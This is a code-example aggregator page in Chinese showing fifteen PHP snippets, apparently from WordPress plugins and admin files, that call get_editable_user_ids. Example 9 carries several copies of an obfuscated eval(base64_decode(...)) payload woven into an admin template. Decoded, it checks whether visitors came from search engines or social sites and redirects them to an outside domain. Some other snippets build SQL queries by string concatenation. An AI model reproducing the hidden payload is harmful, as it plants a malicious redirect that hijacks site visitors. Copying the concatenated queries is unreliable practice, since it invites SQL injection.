本文整理汇总了PHP中get_editable_user_ids函数的典型用法代码示例。如果您正苦于以下问题:PHP get_editable_user_ids函数的具体用法?PHP get_editable_user_ids怎么用?PHP get_editable_user_ids使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了get_editable_user_ids函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: soj_manage_posts_by_author
function soj_manage_posts_by_author()
{
global $user_ID;
//echo('<label>Owners</label>');
$editable_ids = get_editable_user_ids($user_ID);
wp_dropdown_users(array('include' => $editable_ids, 'show_option_all' => __('View all Owners'), 'name' => 'author', 'selected' => isset($_GET['author']) ? $_GET['author'] : 0));
}
示例2: get_editable_authors
function get_editable_authors($user_id)
{
global $wpdb;
$editable = get_editable_user_ids($user_id);
if (!$editable) {
return false;
} else {
$editable = join(',', $editable);
$authors = $wpdb->get_results("SELECT * FROM {$wpdb->users} WHERE ID IN ({$editable}) ORDER BY display_name");
}
return apply_filters('get_editable_authors', $authors);
}
示例3: showPhotoEditForm
/**
* Shows the edit/enter info form for one photo.
*
* @param mixed $this The photo to be edited.
*/
function showPhotoEditForm()
{
global $current_user;
//if we have post values (common info) we take those instead of db value.
$descr = attribute_escape($_POST['img_descr']) ? attribute_escape(stripslashes($_POST['img_descr'])) : $this->getDescription();
$tags = attribute_escape($_POST['tags_input']) ? attribute_escape(stripslashes($_POST['tags_input'])) : $this->getTagString();
$selectedAuthor = attribute_escape($_POST['img_author']) ? attribute_escape(stripslashes($_POST['img_author'])) : $this->getAuthor();
$fullSizeUrl = PhotoQHelper::getRelUrlFromPath($this->getPath());
// output photo information form
$path = $this->getAdminThumbURL($this->_oc->getValue('photoQAdminThumbs-Width'), $this->_oc->getValue('photoQAdminThumbs-Height'));
$authors = get_editable_user_ids($current_user->id);
?>
<div class="main info_group">
<div class="info_unit"><a class="img_link" href="<?php
echo $fullSizeUrl;
?>
" title="Click to see full-size photo" target="_blank"><img src='<?php
echo $path;
?>
' alt='<?php
echo $this->getName();
?>
' /></a></div>
<div class="info_unit"><label><?php
_e('Title', 'PhotoQ');
?>
:</label><br /><input type="text" name="img_title[]" size="30" value="<?php
echo $this->getTitle();
?>
" /></div>
<div class="info_unit"><label><?php
_e('Description', 'PhotoQ');
?>
:</label><br /><textarea style="font-size:small;" name="img_descr[]" cols="30" rows="3"><?php
echo $descr;
?>
</textarea></div>
<?php
//this makes it retro-compatible
if (function_exists('get_tags_to_edit')) {
?>
<div class="info_unit"><label><?php
_e('Tags (separate multiple tags with commas: cats, pet food, dogs)', 'PhotoQ');
?>
:</label><br /><input type="text" name="tags_input[]" class="tags-input" size="50" value="<?php
echo $tags;
?>
" /></div>
<?php
}
?>
<div class="info_unit"><label><?php
_e('Slug', 'PhotoQ');
?>
:</label><br /><input type="text" name="img_slug[]" size="30" value="<?php
echo $this->getSlug();
?>
" /></div>
<div class="info_unit"><label><?php
_e('Post Author', 'PhotoQ');
?>
:</label><?php
wp_dropdown_users(array('include' => $authors, 'name' => 'img_author[]', 'multi' => true, 'selected' => $selectedAuthor));
?>
</div>
<input type="hidden" name="img_id[]" value="<?php
echo $this->getId();
?>
" />
<input type="hidden" name="img_position[]" value="<?php
echo $this->getPosition();
?>
" />
</div>
<?php
PhotoQHelper::showMetaFieldList($this->getId());
?>
<div class="wimpq_cats info_group"><?php
PhotoQHelper::showCategoryCheckboxList($this->getId(), $this->_oc->getValue('qPostDefaultCat'), $this->getSelectedCats());
?>
</div>
<div class="clr"></div>
<?php
}
示例4: pageMassEditTags
//.........这里部分代码省略.........
echo 'selected="selected"';
}
?>
value="20">20</option>
<option <?php
if ($quantity == 30) {
echo 'selected="selected"';
}
?>
value="30">30</option>
<option <?php
if ($quantity == 40) {
echo 'selected="selected"';
}
?>
value="40">40</option>
<option <?php
if ($quantity == 50) {
echo 'selected="selected"';
}
?>
value="50">50</option>
<option <?php
if ($quantity == 100) {
echo 'selected="selected"';
}
?>
value="100">100</option>
</select>
</fieldset>
<?php
global $user_ID;
$editable_ids = get_editable_user_ids($user_ID);
if ($editable_ids && count($editable_ids) > 1) {
?>
<fieldset>
<legend><?php
_e('Author…', 'simpletags');
?>
</legend>
<?php
wp_dropdown_users(array('include' => $editable_ids, 'show_option_all' => __('Any'), 'name' => 'author', 'selected' => isset($_GET['author']) ? $_GET['author'] : 0));
?>
</fieldset>
<?php
}
?>
<fieldset>
<legend><?php
_e('Type…', 'simpletags');
?>
</legend>
<select name='type' id='type'>
<option <?php
if ($type == 'post') {
echo 'selected="selected"';
}
?>
value='post'><?php
_e('Post', 'simpletags');
?>
</option>
<?php
if ($this->options['use_tag_pages'] == '1') {
示例5: _e
?>
">
<h3><?php
_e('Post Slug');
?>
</h3>
<div class="inside">
<input name="post_name" type="text" size="13" id="post_name" value="<?php
echo attribute_escape($post->post_name);
?>
" />
</div>
</div>
<?php
$authors = get_editable_user_ids($current_user->id);
// TODO: ROLE SYSTEM
if ($post->post_author && !in_array($post->post_author, $authors)) {
$authors[] = $post->post_author;
}
if ($authors && count($authors) > 1) {
?>
<div id="authordiv" class="postbox <?php
echo postbox_classes('authordiv', 'post');
?>
">
<h3><?php
_e('Post Author');
?>
</h3>
<div class="inside">
示例6: _e
<h3><?php _e('Password Protect This Post') ?></h3>
<div class="inside">
<p><input name="post_password" type="text" size="25" id="post_password" value="<?php echo attribute_escape( $post->post_password ); ?>" /></p>
<p><?php _e('Setting a password will require people who visit your blog to enter the above password to view this post and its comments.'); ?></p>
</div>
</div>
<div id="slugdiv" class="postbox <?php echo postbox_classes('slugdiv', 'post'); ?>">
<h3><?php _e('Post Slug') ?></h3>
<div class="inside">
<input name="post_name" type="text" size="13" id="post_name" value="<?php echo attribute_escape( $post->post_name ); ?>" />
</div>
</div>
<?php
$authors = get_editable_user_ids( $current_user->id ); // TODO: ROLE SYSTEM
if ( $post->post_author && !in_array($post->post_author, $authors) )
$authors[] = $post->post_author;
if ( $authors && count( $authors ) > 1 ) :
?>
<div id="authordiv" class="postbox <?php echo postbox_classes('authordiv', 'post'); ?>">
<h3><?php _e('Post Author'); ?></h3>
<div class="inside">
<?php wp_dropdown_users( array('include' => $authors, 'name' => 'post_author_override', 'selected' => empty($post_ID) ? $user_ID : $post->post_author) ); ?>
</div>
</div>
<?php endif; ?>
<?php do_meta_boxes('post', 'advanced', $post); ?>
<?php do_action('dbx_post_sidebar'); ?>
示例7: get_others_unpublished_posts
function get_others_unpublished_posts($user_id, $type = 'any')
{
global $wpdb;
$user = get_userdata($user_id);
$level_key = $wpdb->prefix . 'user_level';
$editable = get_editable_user_ids($user_id);
if (in_array($type, array('draft', 'pending'))) {
$type_sql = " post_status = '{$type}' ";
} else {
$type_sql = " ( post_status = 'draft' OR post_status = 'pending' ) ";
}
$dir = 'pending' == $type ? 'ASC' : 'DESC';
if (!$editable) {
$other_unpubs = '';
} else {
$editable = join(',', $editable);
$other_unpubs = $wpdb->get_results("SELECT ID, post_title, post_author FROM {$wpdb->posts} WHERE post_type = 'post' AND {$type_sql} AND post_author IN ({$editable}) AND post_author != '{$user_id}' ORDER BY post_modified {$dir}");
}
return apply_filters('get_others_drafts', $other_unpubs);
}
示例8: get_others_unpublished_posts
/**
* Retrieve editable posts from other users.
*
* @since unknown
*
* @param int $user_id User ID to not retrieve posts from.
* @param string $type Optional, defaults to 'any'. Post type to retrieve, can be 'draft' or 'pending'.
* @return array List of posts from others.
*/
function get_others_unpublished_posts($user_id, $type='any') {
global $wpdb;
$editable = get_editable_user_ids( $user_id );
if ( in_array($type, array('draft', 'pending')) )
$type_sql = " post_status = '$type' ";
else
$type_sql = " ( post_status = 'draft' OR post_status = 'pending' ) ";
$dir = ( 'pending' == $type ) ? 'ASC' : 'DESC';
if( !$editable ) {
$other_unpubs = '';
} else {
$editable = join(',', $editable);
$other_unpubs = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_title, post_author FROM $wpdb->posts WHERE post_type = 'post' AND $type_sql AND post_author IN ($editable) AND post_author != %d ORDER BY post_modified $dir", $user_id) );
}
return apply_filters('get_others_drafts', $other_unpubs);
}
示例9: inline_edit_row
//.........这里部分代码省略.........
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3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VyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Slug');
?>
</span>
<span class="input-text-wrap"><input type="text" name="post_name" value="" /></span>
</label>
<label><span class="title"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJp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WYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
// $bulk
$authors = get_editable_user_ids($current_user->id, true, $type);
// TODO: ROLE SYSTEM
$authors_dropdown = '';
if ($authors && count($authors) > 1) {
$users_opt = array('include' => $authors, 'name' => 'post_author', 'class' => 'authors', 'multi' => 1, 'echo' => 0);
if ($bulk) {
$users_opt['show_option_none'] = __('- No Change -');
}
$authors_dropdown = '<label>';
$authors_dropdown .= '<span class="title">' . __('Author') . '</span>';
$authors_dropdown .= wp_dropdown_users($users_opt);
$authors_dropdown .= '</label>';
}
// authors
?>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
if (!$bulk) {
echo $authors_dropdown;
?>
<div class="inline-edit-group">
<label class="alignleft">
<span class="title"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Password');
?>
</span>
<span class="input-text-wrap"><input type="text" name="post_password" class="inline-edit-password-input" value="" /></span>
</label>
<em style="margin:5px 10px 0 0" class="alignleft">
示例10: author_menu
public function author_menu()
{
global $user_ID;
$editable_ids = get_editable_user_ids($user_ID);
$html = '';
if ($editable_ids && count($editable_ids) >= 1) {
if (function_exists('wp_dropdown_users')) {
$html = __('Author');
$html .= $this->base->filter_tags(wp_dropdown_users(array('include' => $editable_ids, 'show_option_all' => __('Any', 'ktai_style'), 'name' => 'author', 'selected' => isset($_GET['author']) ? $_GET['author'] : 0, 'echo' => 0)));
} else {
$html = __('Post Author');
$html .= '<select name="author"><option value="0">' . __('Any', 'ktai_style') . '</option>';
foreach ($editable_ids as $e) {
$a = get_userdata($e);
if (isset($_GET['author']) && $_GET['author'] == $a->ID) {
$selected = ' selected="selected"';
} else {
$selected = '';
}
$html .= '<option value="' . intval($e) . '"' . $selected . '>' . $a->display_name . '</option>';
}
$html .= '</select>';
}
}
return $html;
}
示例11: get_editable_authors_by_name
/**
* Returns the users that are editable by $user_id (normally the current user) and that contain $name within their
* display name. Important to use this function rather than just selected all users for WPMU bloggers.
*
* Basis for this function is proudly stolen from wp-{admin/}includes/user.php :)
*/
function get_editable_authors_by_name($user_id, $name, $limit)
{
global $wpdb;
// get_editable_user_ids was deprecated in WordPress 3.1, so let's avoid it unless we're running on a site with
// WordPress < 3.1.
if (!function_exists('get_users')) {
$editable = get_editable_user_ids($user_id);
} else {
// use a similar call that's used in post_author_meta_box() to get a list of eligible users
$editable = get_users(array('who' => 'authors', 'fields' => 'id', 'include_selected' => true));
}
if (!$editable) {
return false;
} else {
$editable = join(',', $editable);
// Prepare autocomplete term for query: add wildcard after, and replace all spaces with wildcards
// 'Scott Bressler' becomes 'Scott%Bressler%', and literal _ and %'s are escaped.
$name = str_replace(' ', '%', $wpdb->esc_like($name)) . '%';
$authors = $wpdb->get_results($wpdb->prepare("\n\t\t\tSELECT ID, display_name\n\t\t\tFROM {$wpdb->users}\n\t\t\tWHERE ID IN ({$editable})\n\t\t\t\tAND upper(display_name) LIKE %s\n\t\t\tORDER BY display_name\n\t\t\tLIMIT 0, {$limit}", strtoupper($name)));
}
return apply_filters('get_editable_authors_by_name', $authors, $name);
}
示例12: mediatags_roles_panel
function mediatags_roles_panel()
{
global $mediatags_caps;
global $wpdb, $wp_version;
$current_blog_id = $wpdb->blogid;
$update_message = "";
$current_user_id = get_current_user_id();
$current_user = new WP_User($current_user_id);
if (isset($_REQUEST['mediatags_roles_panel']) && wp_verify_nonce($_REQUEST['mediatags_roles_panel'], 'mediatags_roles_panel')) {
if (isset($_REQUEST['media-tags-user-roles'])) {
//echo "_REQUEST<pre>"; print_r($_REQUEST); echo "</pre>";
$mediatags_user_roles = $_REQUEST['media-tags-user-roles'];
// if ( version_compare( $wp_version, '3.0.999', '<' ) )
// {
$users = array();
$user_ids = get_editable_user_ids($current_user_id);
if ($user_ids) {
foreach ($user_ids as $user_id) {
$users[$user_id] = new WP_User($user_id);
}
}
// }
// else
// $users = get_users();
if ($users) {
foreach ($users as $user_id => $user) {
if ($user) {
//echo "user<pre>"; print_r($user); echo "</pre>";
foreach ($mediatags_caps as $mediatags_cap => $mediatags_label) {
if (isset($mediatags_user_roles[$user_id][$mediatags_cap]) && $mediatags_user_roles[$user_id][$mediatags_cap] == "on") {
$user->add_cap($mediatags_cap);
} else {
$user->add_cap($mediatags_cap, false);
}
}
}
}
}
$update_message = _x("Media-Tags Roles have been updated.", 'update message', MEDIA_TAGS_I18N_DOMAIN);
}
}
$title = _x('Media-Tags Roles Management', 'settings panel title', MEDIA_TAGS_I18N_DOMAIN);
?>
<div class="wrap nosubsub">
<?php
//screen_icon();
?>
<h2><?php
echo $title;
?>
</h2>
<?php
if (strlen($update_message)) {
?>
<div id="message" class="updated fade"><p><?php
echo $update_message;
?>
</p></div><?php
}
?>
<?php
$roles = get_editable_roles();
$user_roles_array = array();
foreach ($roles as $role_label => $role) {
$user_roles_array[$role_label] = array();
$user_roles_array[$role_label]['name'] = $role['name'];
$user_roles_array[$role_label]['users'] = array();
}
// if ( version_compare( $wp_version, '3.0.999', '<' ) )
// {
$users = array();
$user_ids = get_editable_user_ids($current_user_id);
if ($user_ids) {
foreach ($user_ids as $user_id) {
$users[$user_id] = new WP_User($user_id);
}
}
// }
// else
// $users = get_users();
if ($users) {
foreach ($users as $user_id => $user) {
//echo "user<pre>"; print_r($user); echo "</pre>";
if (is_multisite()) {
$cap_str = "wp_" . $current_blog_id . "_capabilities";
if (isset($user->{$cap_str})) {
$user_capabilities = $user->{$cap_str};
}
} else {
$user_capabilities = $user->wp_capabilities;
}
if (isset($user_capabilities)) {
foreach ($user_capabilities as $cap_idx => $cap_val) {
if (isset($user_roles_array[$cap_idx])) {
$user_roles_array[$cap_idx]['users'][$user->data->display_name] = $user;
}
}
}
}
//.........这里部分代码省略.........
示例13: ame_author_edit
/**
* SACK response function for displaying the author edit form inline
*
* @since 1.7.0
* @author scripts@schloebe.de
*/
function ame_author_edit()
{
global $wpdb, $current_user;
$postid = intval($_POST['post_id']);
if (is_string($_POST['posttype'])) {
$posttype = $_POST['posttype'];
}
if ($posttype == 'post') {
$typenumber = '1';
} elseif ($posttype == 'page') {
$typenumber = '2';
}
if ($posttype == 'post') {
$cols = '8';
} elseif ($posttype == 'page') {
$cols = '7';
}
if ($typenumber == '1' && !current_user_can('edit_post', $postid)) {
die("alert('" . js_escape(__('You are not allowed to change the post author as this user.')) . "');");
return;
} elseif ($typenumber == '2' && !current_user_can('edit_page', $postid)) {
die("alert('" . js_escape(__('You are not allowed to change the page author as this user.')) . "');");
return;
}
$post = get_post($postid);
$authors = get_editable_user_ids($current_user->id);
// TODO: ROLE SYSTEM
if ($post->post_author && !in_array($post->post_author, $authors)) {
$authors[] = $post->post_author;
}
if ($authors && count($authors) > 1) {
$output = wp_dropdown_users(array('echo' => 0, 'include' => $authors, 'name' => 'author-' . $postid, 'selected' => $post->post_author));
} else {
if ($typenumber == '1') {
die("alert('" . js_escape(__('You are not allowed to change the post author as this user.')) . "');");
return;
} elseif ($typenumber == '2') {
die("alert('" . js_escape(__('You are not allowed to change the page author as this user.')) . "');");
return;
}
}
$output = str_replace("\n", "", $output);
$addHTML = "<tr id='alter" . $posttype . "-" . $postid . "' class='author-other status-publish' valign='middle'><td colspan='" . $cols . "' align='center'>" . $output . " <input value='" . __('Save') . "' class='button-primary' type='button' style='font-size:1em;' onclick='ame_ajax_author_save(" . $postid . ", " . $typenumber . ");' /> <input value='" . __('Cancel') . "' class='button' type='button' style='font-size:1em;' onclick='ame_edit_cancel({$postid})' /></td></tr>";
die("jQuery('#" . $posttype . "-" . $postid . "').after( \"" . $addHTML . "\" ); jQuery('#" . $posttype . "-" . $postid . "').hide();");
}
示例14: sprintf
if ($autosave && mysql2date('U', $autosave->post_modified_gmt, false) > mysql2date('U', $post->post_modified_gmt, false)) {
$notice = sprintf(__('There is an autosave of this page that is more recent than the version below. <a href="%s">View the autosave</a>.'), get_edit_post_link($autosave->ID));
}
}
$temp_ID = (int) $temp_ID;
$user_ID = (int) $user_ID;
require_once 'includes/meta-boxes.php';
add_meta_box('submitdiv', __('Publish'), 'post_submit_meta_box', 'page', 'side', 'core');
add_meta_box('pageparentdiv', __('Attributes'), 'page_attributes_meta_box', 'page', 'side', 'core');
add_meta_box('postcustom', __('Custom Fields'), 'post_custom_meta_box', 'page', 'normal', 'core');
add_meta_box('commentstatusdiv', __('Discussion'), 'post_comment_status_meta_box', 'page', 'normal', 'core');
add_meta_box('slugdiv', __('Page Slug'), 'post_slug_meta_box', 'page', 'normal', 'core');
if (current_theme_supports('post-thumbnails', 'page')) {
add_meta_box('postimagediv', __('Page Image'), 'post_thumbnail_meta_box', 'page', 'side', 'low');
}
$authors = get_editable_user_ids($current_user->id, true, 'page');
// TODO: ROLE SYSTEM
if ($post->post_author && !in_array($post->post_author, $authors)) {
$authors[] = $post->post_author;
}
if ($authors && count($authors) > 1) {
add_meta_box('pageauthordiv', __('Page Author'), 'post_author_meta_box', 'page', 'normal', 'core');
}
if (0 < $post_ID && wp_get_post_revisions($post_ID)) {
add_meta_box('revisionsdiv', __('Page Revisions'), 'post_revisions_meta_box', 'page', 'normal', 'core');
}
do_action('do_meta_boxes', 'page', 'normal', $post);
do_action('do_meta_boxes', 'page', 'advanced', $post);
do_action('do_meta_boxes', 'page', 'side', $post);
require_once 'admin-header.php';
?>
示例15: get_editable_user_ids
?>
value='<?php
echo $status;
?>
'><?php
echo $label[0];
?>
</option>
<?php
}
?>
</select>
</fieldset>
<?php
$editable_ids = get_editable_user_ids($user_ID);
if ($editable_ids && count($editable_ids) > 1) {
?>
<fieldset><legend><?php
_e('Author…');
?>
</legend>
<?php
wp_dropdown_users(array('include' => $editable_ids, 'show_option_all' => __('Any'), 'name' => 'author', 'selected' => isset($_GET['author']) ? $_GET['author'] : 0));
?>
</fieldset>
<?php
}
$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY post_date DESC";
$arc_result = $wpdb->get_results($arc_query);